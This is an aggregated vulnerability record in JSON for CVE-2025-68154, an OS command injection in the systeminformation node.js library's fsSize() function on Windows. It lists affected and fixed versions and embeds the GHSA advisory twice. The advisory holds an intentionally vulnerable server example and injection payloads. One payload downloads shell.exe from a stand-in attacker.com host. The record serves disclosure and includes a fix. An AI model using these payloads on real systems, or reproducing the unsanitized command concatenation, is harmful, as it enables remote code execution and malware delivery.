{"id":"CVE-2025-68154","aliases":["CLSA-2026-1788560453","DEBIAN-CVE-2025-68154","EUVD-2025-203835","GHSA-wphj-fx3q-84ch","ROOT-APP-NPM-CVE-2025-68154","UBUNTU-CVE-2025-68154"],"status":"published","title":"Command Injection in fsSize() on Windows","description":"systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the `fsSize()` function in systeminformation is vulnerable to OS command injection on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. Version 5.27.14 contains a patch.","severity":{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.12989,"percentile":0.96362,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-78"],"published":"2025-12-16T18:18:03Z","modified":"2026-10-28T02:30:58Z","fixes":[{"ecosystem":"npm","package":"systeminformation","fixed_in":["5.27.14"],"sources":["ghsa","osv"]},{"ecosystem":"Debian:14","package":"jupyterlab","fixed_in":["4.0.11+ds5+~cs11.25.27-1"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"systeminformation","fixed_in":["5.23.8-aikido.5","5.23.8-aikido.6"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/systeminformation","fixed_in":["5.23.8-root.io.5","5.23.8-root.io.1","5.23.8-root.io.2","5.23.8-root.io.3","5.23.8-root.io.4","5.23.8-root.io.6"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.27.14"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.23.8-tuxcare.0"},{"fixed":"5.23.8-tuxcare.1"}]}],"versions":["5.23.8"],"bundled":4},{"source":"osv","ecosystem":"Debian:13","package":"jupyterlab","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.0.11+ds1+~cs11.25.27-7","4.0.11+ds1+~cs11.25.27-8","4.0.11+ds1+~cs11.25.27-9","4.0.11+ds2+~cs11.25.27-1","4.0.11+ds2+~cs11.25.27-3","4.0.11+ds3+~cs11.25.27-1","4.0.11+ds4+~cs11.25.27-1","4.0.11+ds4+~cs11.25.27-2","4.0.11+ds4+~cs11.25.27-3","4.0.11+ds4+~cs11.25.27-4","4.0.11+ds5+~cs11.25.27-1","4.0.13+ds1+~2.0.1+~cs1.4.4-1","4.1.3+ds1+~2.0.1+~0.15.3+~cs1.4.4-1","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-1","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-2","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-3","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-4","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-5","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-6","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-7","4.1.8+ds1+~2.0.1+~0.15.3+~cs1.4.4-8","4.4.1+ds1+~3.0.5+~0.16.6+~cs1.4.4-1","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-1","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-2","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-3","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-4","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-5","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-6","4.4.8+ds1+~3.1.0+~0.16.6+~cs1.4.4-1"]},{"source":"osv","ecosystem":"Debian:14","package":"jupyterlab","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.0.11+ds5+~cs11.25.27-1"}]}],"versions":["4.0.11+ds1+~cs11.25.27-7","4.0.11+ds1+~cs11.25.27-8","4.0.11+ds1+~cs11.25.27-9","4.0.11+ds2+~cs11.25.27-1","4.0.11+ds2+~cs11.25.27-3","4.0.11+ds3+~cs11.25.27-1","4.0.11+ds4+~cs11.25.27-1","4.0.11+ds4+~cs11.25.27-2","4.0.11+ds4+~cs11.25.27-3","4.0.11+ds4+~cs11.25.27-4"]},{"source":"osv","ecosystem":"npm","package":"systeminformation","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"5.27.14"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.23.8-aikido.5"},{"fixed":"5.23.8-aikido.6"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.23.8-root.io.5"},{"fixed":"5.23.8-root.io.1"},{"fixed":"5.23.8-root.io.2"},{"fixed":"5.23.8-root.io.3"},{"fixed":"5.23.8-root.io.4"},{"fixed":"5.23.8-root.io.6"}]}]},{"source":"osv","ecosystem":"Ubuntu:25.10","package":"jupyterlab","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.0.11+ds1+~cs11.25.27-5","4.0.11+ds1+~cs11.25.27-6","4.0.11+ds1+~cs11.25.27-7"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"jupyterlab","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.0.11+ds1+~cs11.25.27-9","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-3","4.4.10+ds1+~3.1.0+~0.16.6+~cs1.4.4-4"]},{"source":"osv","ecosystem":"Ubuntu:26.10","package":"node-systeminformation","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["5.31.6-4","5.31.7-1"]},{"source":"osv","ecosystem":"Ubuntu:26.04:LTS","package":"jupyterlab","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["4.0.11+ds1+~cs11.25.27-7","4.0.11+ds1+~cs11.25.27-8","4.0.11+ds1+~cs11.25.27-9"]}],"products":[{"vendor":"sebhildebrandt","product":"systeminformation"},{"vendor":"systeminformation","product":"systeminformation"}],"references":[{"url":"https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-wphj-fx3q-84ch","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/sebhildebrandt/systeminformation/commit/c52f9fd07fef42d2d8e8c66f75b42178da701c68","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-68154","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-wphj-fx3q-84ch"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/68xxx/CVE-2025-68154.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2025-68154","tags":["advisory"]},{"url":"https://github.com/sebhildebrandt/systeminformation","tags":["package"]},{"url":"https://ubuntu.com/security/CVE-2025-68154","tags":["report"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2025-68154","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2025-68154","title":"Command Injection in fsSize() on Windows","description":"systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the `fsSize()` function in systeminformation is vulnerable to OS command injection on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. Version 5.27.14 contains a patch.","status":"published","published":"2025-12-16T18:18:03.64Z","modified":"2025-12-17T18:50:42.535Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"cna"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:32:35.742256Z"}],"euvd":[{"id":"EUVD-2025-203835","description":"systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the `fsSize()` function in systeminformation is vulnerable to OS command injection on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. Version 5.27.14 contains a patch.","status":"published","published":"2025-12-16T18:18:03Z","modified":"2025-12-17T18:50:42Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T19:49:03.481924Z"}],"ghsa":[{"id":"GHSA-wphj-fx3q-84ch","title":"systeminformation has a Command Injection vulnerability in fsSize() function on Windows","description":"## Summary\n\nThe `fsSize()` function in `systeminformation` is vulnerable to **OS Command Injection (CWE-78)** on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.\n\n**Affected Platforms:** Windows only  \n\n**CVSS Breakdown:**\n- **Attack Vector (AV:N):** Network - if used in a web application/API\n- **Attack Complexity (AC:H):** High - requires application to pass user input to `fsSize()`\n- **Privileges Required (PR:N):** None - no authentication required at library level\n- **User Interaction (UI:N):** None\n- **Scope (S:U):** Unchanged - executes within Node.js process context\n- **Confidentiality/Integrity/Availability (C:H/I:H/A:H):** High impact if exploited\n\n\u003e **Note:** The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable.\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `lib/filesystem.js`, **Line 197**\n\n```javascript\nif (_windows) {\n  try {\n    const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;\n    util.powerShell(cmd).then((stdout, error) =\u003e {\n```\n\nThe `drive` parameter is concatenated directly into the PowerShell command string without any sanitization.\n\n### Why This Is a Vulnerability\n\nThis is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using `util.sanitizeShellString()`:\n\n| File | Line | Function | Sanitization |\n|------|------|----------|--------------|\n| `lib/processes.js` | 141 | `services()` | ✅ `util.sanitizeShellString(srv)` |\n| `lib/processes.js` | 1006 | `processLoad()` | ✅ `util.sanitizeShellString(proc)` |\n| `lib/network.js` | 1253 | `networkStats()` | ✅ `util.sanitizeShellString(iface)` |\n| `lib/docker.js` | 472 | `dockerContainerStats()` | ✅ `util.sanitizeShellString(containerIDs, true)` |\n| `lib/filesystem.js` | 197 | `fsSize()` | ❌ **No sanitization** |\n\nThe `sanitizeShellString()` function (defined at `lib/util.js:731`) removes dangerous characters like `;`, `\u0026`, `|`, `$`, `` ` ``, `#`, etc., which would prevent command injection.\n\n---\n\n## PoC\n\n### Attack Scenario\n\nAn application exposes disk information via an API and passes user input to `si.fsSize()`:\n\n```javascript\n// Vulnerable application example\nconst si = require('systeminformation');\nconst http = require('http');\nconst url = require('url');\n\nhttp.createServer(async (req, res) =\u003e {\n  const parsedUrl = url.parse(req.url, true);\n  const drive = parsedUrl.query.drive; // User-controlled input\n  \n  // VULNERABLE: User input passed directly to fsSize()\n  const diskInfo = await si.fsSize(drive);\n  \n  res.end(JSON.stringify(diskInfo));\n}).listen(3000);\n```\n\n### Exploitation\n\n**Normal Request:**\n```\nGET /api/disk?drive=C:\n```\n\n**Malicious Request (Command Injection):**\n```\nGET /api/disk?drive=C:;%20whoami%20%23\n```\n\n### Command Construction Demonstration\n\nThe following demonstrates how commands are constructed with malicious input:\n\n**Normal usage:**\n```\nInput: \"C:\"\nCommand: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl\n```\n\n**With injection payload `C:; whoami #`:**\n```\nInput: \"C:; whoami #\"\nCommand: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl\n                                                                                                                            ↑         ↑\n                                                                                                            semicolon terminates    # comments out rest\n                                                                                                            first command\n```\n\nPowerShell will execute:\n1. `Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C:` (original command)\n2. `whoami` (injected command)\n3. Everything after `#` is commented out\n\n### PoC Script\n\n```javascript\n/**\n * Command Injection PoC - systeminformation fsSize()\n * \n * Run with: node poc.js\n * Requires: npm install systeminformation\n */\n\nconst os = require('os');\n\n// Simulates the vulnerable command construction from filesystem.js:197\nfunction simulateVulnerableCommand(drive) {\n  const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;\n  return cmd;\n}\n\n// Test payloads\nconst payloads = [\n  { name: 'Normal', input: 'C:' },\n  { name: 'Command Execution', input: 'C:; whoami #' },\n  { name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\\\temp\\\\procs.txt #' },\n  { name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\\\temp\\\\shell.exe #' },\n];\n\nconsole.log('=== Command Injection PoC ===\\n');\nconsole.log(`Platform: ${os.platform()}`);\nconsole.log(`Note: Actual exploitation requires Windows\\n`);\n\npayloads.forEach(p =\u003e {\n  console.log(`[${p.name}]`);\n  console.log(`  Input: ${p.input}`);\n  console.log(`  Command: ${simulateVulnerableCommand(p.input)}\\n`);\n});\n```\n\n### PoC Output\n\n```\n=== Command Injection PoC ===\n\nPlatform: win32\nNote: Actual exploitation requires Windows\n\n[Normal]\n  Input: C:\n  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl\n\n[Command Execution]\n  Input: C:; whoami #\n  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl\n\n[Data Exfiltration]\n  Input: C:; Get-Process | Out-File C:\\temp\\procs.txt #\n  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\\temp\\procs.txt # | fl\n\n[Remote Payload]\n  Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #\n  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe # | fl\n```\n\nAs shown, the attacker's commands are injected directly into the PowerShell command string.\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- Applications running `systeminformation` on **Windows** that pass user-controlled input to `fsSize(drive)`\n- Web applications, APIs, or CLI tools that accept drive letters from users\n- Monitoring dashboards that allow users to specify which drives to query\n\n### Potential Attack Scenarios\n\n1. **Remote Code Execution (RCE)** - Execute arbitrary commands with Node.js process privileges\n2. **Data Exfiltration** - Read sensitive files and exfiltrate data\n3. **Privilege Escalation** - If Node.js runs with elevated privileges\n4. **Lateral Movement** - Use the compromised system to attack internal network\n5. **Ransomware Deployment** - Download and execute malicious payloads\n\n---\n\n## Recommended Fix\n\nApply `util.sanitizeShellString()` to the `drive` parameter, consistent with other functions in the codebase:\n\n```diff\n  if (_windows) {\n    try {\n+     const driveSanitized = drive ? util.sanitizeShellString(drive, true) : '';\n-     const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;\n+     const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl`;\n      util.powerShell(cmd).then((stdout, error) =\u003e {\n```\n\nThe `true` parameter enables strict mode which removes additional characters like spaces and parentheses.\n\n---\n\n`systeminformation` thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.","status":"published","published":"2025-12-16T22:37:23Z","modified":"2025-12-16T22:37:26Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:39:13.204325Z"}],"nvd":[{"id":"CVE-2025-68154","description":"systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the `fsSize()` function in systeminformation is vulnerable to OS command injection on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. Version 5.27.14 contains a patch.","status":"published","published":"2025-12-16T19:16:00.257Z","modified":"2026-09-30T23:10:00.237Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high","assessor":"secondary"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T14:11:51.309584Z"}],"osv":[{"id":"CVE-2025-68154","title":"Command Injection in fsSize() on Windows","description":"systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the `fsSize()` function in systeminformation is vulnerable to OS command injection on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. Version 5.27.14 contains a patch.","status":"published","published":"2025-12-16T18:18:03.64Z","modified":"2026-11-11T10:30:38.470043014Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-11T11:06:36.179338Z"},{"id":"DEBIAN-CVE-2025-68154","description":"systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the `fsSize()` function in systeminformation is vulnerable to OS command injection on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. Version 5.27.14 contains a patch.","status":"published","published":"2025-12-16T19:16:00.257Z","modified":"2026-10-01T09:00:29.180229679Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:45:47.697959Z"},{"id":"GHSA-wphj-fx3q-84ch","title":"systeminformation has a Command Injection vulnerability in fsSize() function on Windows","description":"## Summary\n\nThe `fsSize()` function in `systeminformation` is vulnerable to **OS Command Injection (CWE-78)** on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function.\n\n**Affected Platforms:** Windows only  \n\n**CVSS Breakdown:**\n- **Attack Vector (AV:N):** Network - if used in a web application/API\n- **Attack Complexity (AC:H):** High - requires application to pass user input to `fsSize()`\n- **Privileges Required (PR:N):** None - no authentication required at library level\n- **User Interaction (UI:N):** None\n- **Scope (S:U):** Unchanged - executes within Node.js process context\n- **Confidentiality/Integrity/Availability (C:H/I:H/A:H):** High impact if exploited\n\n\u003e **Note:** The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable.\n\n---\n\n## Details\n\n### Vulnerable Code Location\n\n**File:** `lib/filesystem.js`, **Line 197**\n\n```javascript\nif (_windows) {\n  try {\n    const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;\n    util.powerShell(cmd).then((stdout, error) =\u003e {\n```\n\nThe `drive` parameter is concatenated directly into the PowerShell command string without any sanitization.\n\n### Why This Is a Vulnerability\n\nThis is inconsistent with the security pattern used elsewhere in the codebase. Other functions properly sanitize user input using `util.sanitizeShellString()`:\n\n| File | Line | Function | Sanitization |\n|------|------|----------|--------------|\n| `lib/processes.js` | 141 | `services()` | ✅ `util.sanitizeShellString(srv)` |\n| `lib/processes.js` | 1006 | `processLoad()` | ✅ `util.sanitizeShellString(proc)` |\n| `lib/network.js` | 1253 | `networkStats()` | ✅ `util.sanitizeShellString(iface)` |\n| `lib/docker.js` | 472 | `dockerContainerStats()` | ✅ `util.sanitizeShellString(containerIDs, true)` |\n| `lib/filesystem.js` | 197 | `fsSize()` | ❌ **No sanitization** |\n\nThe `sanitizeShellString()` function (defined at `lib/util.js:731`) removes dangerous characters like `;`, `\u0026`, `|`, `$`, `` ` ``, `#`, etc., which would prevent command injection.\n\n---\n\n## PoC\n\n### Attack Scenario\n\nAn application exposes disk information via an API and passes user input to `si.fsSize()`:\n\n```javascript\n// Vulnerable application example\nconst si = require('systeminformation');\nconst http = require('http');\nconst url = require('url');\n\nhttp.createServer(async (req, res) =\u003e {\n  const parsedUrl = url.parse(req.url, true);\n  const drive = parsedUrl.query.drive; // User-controlled input\n  \n  // VULNERABLE: User input passed directly to fsSize()\n  const diskInfo = await si.fsSize(drive);\n  \n  res.end(JSON.stringify(diskInfo));\n}).listen(3000);\n```\n\n### Exploitation\n\n**Normal Request:**\n```\nGET /api/disk?drive=C:\n```\n\n**Malicious Request (Command Injection):**\n```\nGET /api/disk?drive=C:;%20whoami%20%23\n```\n\n### Command Construction Demonstration\n\nThe following demonstrates how commands are constructed with malicious input:\n\n**Normal usage:**\n```\nInput: \"C:\"\nCommand: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl\n```\n\n**With injection payload `C:; whoami #`:**\n```\nInput: \"C:; whoami #\"\nCommand: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl\n                                                                                                                            ↑         ↑\n                                                                                                            semicolon terminates    # comments out rest\n                                                                                                            first command\n```\n\nPowerShell will execute:\n1. `Get-WmiObject Win32_logicaldisk | ... | where -property Caption -eq C:` (original command)\n2. `whoami` (injected command)\n3. Everything after `#` is commented out\n\n### PoC Script\n\n```javascript\n/**\n * Command Injection PoC - systeminformation fsSize()\n * \n * Run with: node poc.js\n * Requires: npm install systeminformation\n */\n\nconst os = require('os');\n\n// Simulates the vulnerable command construction from filesystem.js:197\nfunction simulateVulnerableCommand(drive) {\n  const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;\n  return cmd;\n}\n\n// Test payloads\nconst payloads = [\n  { name: 'Normal', input: 'C:' },\n  { name: 'Command Execution', input: 'C:; whoami #' },\n  { name: 'Data Exfiltration', input: 'C:; Get-Process | Out-File C:\\\\temp\\\\procs.txt #' },\n  { name: 'Remote Payload', input: 'C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\\\temp\\\\shell.exe #' },\n];\n\nconsole.log('=== Command Injection PoC ===\\n');\nconsole.log(`Platform: ${os.platform()}`);\nconsole.log(`Note: Actual exploitation requires Windows\\n`);\n\npayloads.forEach(p =\u003e {\n  console.log(`[${p.name}]`);\n  console.log(`  Input: ${p.input}`);\n  console.log(`  Command: ${simulateVulnerableCommand(p.input)}\\n`);\n});\n```\n\n### PoC Output\n\n```\n=== Command Injection PoC ===\n\nPlatform: win32\nNote: Actual exploitation requires Windows\n\n[Normal]\n  Input: C:\n  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C: | fl\n\n[Command Execution]\n  Input: C:; whoami #\n  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; whoami # | fl\n\n[Data Exfiltration]\n  Input: C:; Get-Process | Out-File C:\\temp\\procs.txt #\n  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Get-Process | Out-File C:\\temp\\procs.txt # | fl\n\n[Remote Payload]\n  Input: C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe #\n  Command: Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size | where -property Caption -eq C:; Invoke-WebRequest http://attacker.com/shell.exe -OutFile C:\\temp\\shell.exe # | fl\n```\n\nAs shown, the attacker's commands are injected directly into the PowerShell command string.\n\n---\n\n## Impact\n\n### Who Is Affected?\n\n- Applications running `systeminformation` on **Windows** that pass user-controlled input to `fsSize(drive)`\n- Web applications, APIs, or CLI tools that accept drive letters from users\n- Monitoring dashboards that allow users to specify which drives to query\n\n### Potential Attack Scenarios\n\n1. **Remote Code Execution (RCE)** - Execute arbitrary commands with Node.js process privileges\n2. **Data Exfiltration** - Read sensitive files and exfiltrate data\n3. **Privilege Escalation** - If Node.js runs with elevated privileges\n4. **Lateral Movement** - Use the compromised system to attack internal network\n5. **Ransomware Deployment** - Download and execute malicious payloads\n\n---\n\n## Recommended Fix\n\nApply `util.sanitizeShellString()` to the `drive` parameter, consistent with other functions in the codebase:\n\n```diff\n  if (_windows) {\n    try {\n+     const driveSanitized = drive ? util.sanitizeShellString(drive, true) : '';\n-     const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${drive ? '| where -property Caption -eq ' + drive : ''} | fl`;\n+     const cmd = `Get-WmiObject Win32_logicaldisk | select Access,Caption,FileSystem,FreeSpace,Size ${driveSanitized ? '| where -property Caption -eq ' + driveSanitized : ''} | fl`;\n      util.powerShell(cmd).then((stdout, error) =\u003e {\n```\n\nThe `true` parameter enables strict mode which removes additional characters like spaces and parentheses.\n\n---\n\n`systeminformation` thanks developers working on the project. The Systeminformation Project hopes this report helps improve the its security. Please systeminformation know if any additional information or clarification is needed.","status":"published","published":"2025-12-16T22:37:23Z","modified":"2026-09-10T03:50:32.29247631Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"cwes":["CWE-78"],"updated_at":"2026-11-02T15:46:58.767335Z"},{"id":"ROOT-APP-NPM-CVE-2025-68154","title":"CVE-2025-68154 in systeminformation - Patched by Root","description":"Root has patched CVE-2025-68154 in the systeminformation package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-05T10:01:42Z","modified":"2026-10-05T11:15:03.796440751Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:27.362922Z"},{"id":"UBUNTU-CVE-2025-68154","description":"systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the `fsSize()` function in systeminformation is vulnerable to OS command injection on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. Version 5.27.14 contains a patch.","status":"published","published":"2025-12-16T19:16:00Z","modified":"2026-10-17T12:57:30.932788541Z","cvss":[{"version":"3.1","score":8.1,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"high"}],"updated_at":"2026-11-02T16:55:52.345622Z"},{"id":"CLSA-2026-1788560453","title":"TuxCare security update for systeminformation (4 CVEs)","description":"TuxCare rebuilt systeminformation to address 4 CVEs. Fixed in 5.23.8-tuxcare.1.","status":"published","published":"2026-09-04T22:20:53Z","modified":"2026-10-15T09:48:03.099632871Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}